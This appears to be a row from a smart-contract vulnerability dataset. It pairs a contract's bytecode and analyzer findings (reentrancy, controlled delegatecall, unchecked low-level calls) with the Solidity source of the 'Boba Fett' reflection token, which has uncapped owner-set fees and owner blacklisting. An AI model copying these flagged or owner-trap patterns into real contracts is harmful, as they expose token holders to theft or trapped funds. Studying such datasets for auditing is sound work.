ffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156111c157600080fd5b8260008151141515156111d357600080fd5b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020846040518082805190602001908083835b6020831015156112485780518252602082019150602081019050602083039250611223565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff169250505092915050565b6040805190810160405280600e81526020017f70617573655f636f6e7472616374000000000000000000000000000000000000815250600115156112d73383610d13565b15151415156112e557600080fd5b600015156112f16117f7565b15151415156112ff57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f14cc32b2b0edca88201ca20553c392d108a2feb2c750a0ee14c707b4f34fbee260405160405180910390a150565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561138857600080fd5b826000815111151561139957600080fd5b600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020846040518082805190602001908083835b60208310151561140e57805182526020820191506020810190506020830392506113e9565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff169250505092915050565b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561149657600080fd5b6040805190810160405280600981526020017f64656e795f757365720000000000000000000000000000000000000000000000815250600115156114da3383610d13565b15151415156114e857600080fd5b60011515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561154757600080fd5b6000600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fe7e65f730d559db2b46f8f48ccfe155cfac294035e3ec54990c5fd632c11620e60405160405180910390a2505050565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561162657600080fd5b600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16915050919050565b611683611d20565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156116bc57600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156116f957600080fd5b60001515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514151561175857600080fd5b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f7f0b61f78ab0b549b68ce61404f4ee01a26ffdf8d421d099d271d789aaea3a8e60405160405180910390a25050565b6000600560009054906101000a900460ff16905090565b606060008054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156118a65780601f1061187b576101008083540402835291602001916118a6565b820191906000526020600020905b81548152906001019060200180831161188957829003601f168201915b5050505050905090565b6118b8611d20565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156118f157600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561192e57600080fd5b82828080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050600081511415151561197257600080fd5b60011515600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858560405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff1615151415156119f457600080fd5b6000600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858560405180838380828437820191505092505050908152602001604051809103902060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167ffef063ea41a1d4d73bca77475bd8fc3c81a1145b2f3afa879a1530bb6a8401e3858560405180838380828437820191505092505050604051809103902060405180826000191660001916815260200191505060405180910390a25050505050565b611af0611d20565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b2957600080fd5b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611b6657600080fd5b82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506000815114151515611baa57600080fd5b60001515600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858560405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff161515141515611c2c57600080fd5b6001600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020858560405180838380828437820191505092505050908152602001604051809103902060006101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167fc1b43c9c4075dfc74444e2d220aecef01cd89d63abb613d28f1f727c973f1f50858560405180838380828437820191505092505050604051809103902060405180826000191660001916815260200191505060405180910390a25050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6040805190810160405280600c81526020017f657865637574655f63616c6c000000000000000000000000000000000000000081525060011515611d8e3383610d13565b1515141515611d9c57600080fd5b60001515600560019054906101000a900460ff161515141515611dbe57600080fd5b6001600560016101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff168585858560405180838380828437820191505092505050600060405180830381858888f19350505050506000600560016101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167f376185a1f1832ecd7ffd6a421a54d437594db00f80f6122e8534d19d978b65b686868686604051808383808284378201915050925050506040518091039020604051808481526020018381526020018260001916600019168152602001935050505060405180910390a2505050505050565b611ec7611d20565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611f0057600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141515611f5d57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611f9957600080fd5b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515611fd457600080fd5b80600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f0c5d18b25c2665dfeec8ea7956663ec48f079fdd04799ddd335f2fdce1a9fceb60405160405180910390a350565b600081600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156120d357600080fd5b600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16915050919050565b60008060405180828054600181600116156101000203166002900480156121865780601f10612164576101008083540402835291820191612186565b820191906000526020600020905b815481529060010190602001808311612172575b50509150506040518091039020905090565b82600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141515156121d557600080fd5b82828080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050506000815111151561221857600080fd5b6040805190810160405280600e81526020017f7265766f6b655f6c6963656e73650000000000000000000000000000000000008152506001151561225c3383610d13565b151514151561226a57600080fd5b60011515600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868660405180838380828437820191505092505050908152602001604051809103902060009054906101000a900460ff1615151415156122ec57600080fd5b6000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020868660405180838380828437820191505092505050908152602001604051809103902060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff167fd853c209c5a583baf5e21b2bcaf5260ee2a787619665cb533941474d3e2659c4868660405180838380828437820191505092505050604051809103902060405180826000191660001916815260200191505060405180910390a2505050505050565b600082600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561242057600080fd5b826000815111151561243157600080fd5b600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16801561253c5750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020846040518082805190602001908083835b6020831015156124fa57805182526020820191506020810190506020830392506124d5565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900460ff165b9250505092915050565b6040805190810160405280601081526020017f756e70617573655f636f6e7472616374000000000000000000000000000000008152506001151561258a3383610d13565b151514151561259857600080fd5b600115156125a46117f7565b15151415156125b257600080fd5b6000600560006101000a81548160ff0219169083151502179055507f6249a5c797c884cbf33e63e8cfc250816032db24e22051de68a388315e64afc660405160405180910390a150565b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561263957600080fd5b6040805190810160405280600a81526020017f61646d69745f75736572000000000000000000000000000000000000000000008152506001151561267d3383610d13565b151514151561268b57600080fd5b60001515600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156126ea57600080fd5b6001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508273ffffffffffffffffffffffffffffffffffffffff167fc60d2bb4f86eca87b59da71777c9c49f14b7e6e0567cdb94cf8ca37c4cfba90360405160405180910390a2505050565b6040805190810160405280601481526020017f657865637574655f64656c656761746563616c6c000000000000000000000000815250600115156127ce3383610d13565b15151415156127dc57600080fd5b60001515600560019054906101000a900460ff1615151415156127fe57600080fd5b6001600560016101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff16848484604051808383808284378201915050925050506000604051808303818686f492505050506000600560016101000a81548160ff0219169083151502179055508473ffffffffffffffffffffffffffffffffffffffff167ffd9a51b5876c403362d350caaea2a99618ed2c0b3eb601e0ab04606616e671888585856040518083838082843782019150509250505060405180910390206040518083815260200182600019166000191681526020019250505060405180910390a25050505050565b6128fb611d20565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561293457600080fd5b80600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561297157600080fd5b60011515600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151415156129d057600080fd5b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f91975e22df3ba360814d3153e8eaef17954cf47d52a42840fc9747ad1086b35160405160405180910390a25050565b6000600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60008073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614151515612af857600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515612b5457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8d2a41ca5ff551a8f68510de75177b7d56e6019c8579b5509d2be1bb41a0d0af60405160405180910390a2600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f3912b3f6ff73ee5d4cd2894666c349dec2d3d2ed7dc6d35c28c5eabf105a88d860405160405180910390a3505600a165627a7a72305820bd6f5e410bae55728d7e6e0d20f0cf21fd3c09aeb4e1d833464f1b89a4cedb710029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "controlled-delegatecall", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 2,684 |
0xc4a872cc697fee98aedcb274df3df0e91091f08c
|
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BOBAFETT is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Boba Fett";//
string private constant _symbol = "BOBAFETT";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 1;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 1;//
uint256 private _taxFeeOnSell = 10;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x22ddb18C80beF28800d14D5C00E3c5E1CD37F91D);//
address payable private _marketingAddress = payable(0x22ddb18C80beF28800d14D5C00E3c5E1CD37F91D);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9; //
uint256 public _maxWalletSize = 30000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 2;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130cb565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613514565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613037565b61088f565b60405161026491906134de565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f9565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f6565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe8565b6108e4565b6040516102f791906134de565b60405180910390f35b34801561030c57600080fd5b506103156109bd565b60405161032291906136f6565b60405180910390f35b34801561033757600080fd5b506103406109c3565b60405161034d919061376b565b60405180910390f35b34801561036257600080fd5b5061036b6109cc565b60405161037891906134c3565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f5a565b6109f2565b005b3480156103b657600080fd5b506103d160048036038101906103cc919061310c565b610ae2565b005b3480156103df57600080fd5b506103e8610b93565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f5a565b610c64565b60405161041e91906136f6565b60405180910390f35b34801561043357600080fd5b5061043c610cb5565b005b34801561044a57600080fd5b5061046560048036038101906104609190613135565b610e08565b005b34801561047357600080fd5b5061047c610ea7565b60405161048991906136f6565b60405180910390f35b34801561049e57600080fd5b506104a7610ead565b6040516104b491906134c3565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df919061310c565b610ed6565b005b3480156104f257600080fd5b506104fb610f90565b60405161050891906136f6565b60405180910390f35b34801561051d57600080fd5b50610526610f96565b6040516105339190613514565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613135565b610fd3565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315e565b611072565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613037565b611129565b6040516105c291906134de565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f5a565b611147565b6040516105ff91906134de565b60405180910390f35b34801561061457600080fd5b5061061d611167565b005b34801561062b57600080fd5b5061064660048036038101906106419190613073565b611240565b005b34801561065457600080fd5b5061065d6113a0565b60405161066a91906136f6565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fac565b6113a6565b6040516106a791906136f6565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613135565b61142d565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f5a565b6114cc565b005b61070a61168e565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613656565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a30565b91505061079a565b5050565b60606040518060400160405280600981526020017f426f626120466574740000000000000000000000000000000000000000000000815250905090565b60006108a361089c61168e565b8484611696565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000683635c9adc5dea00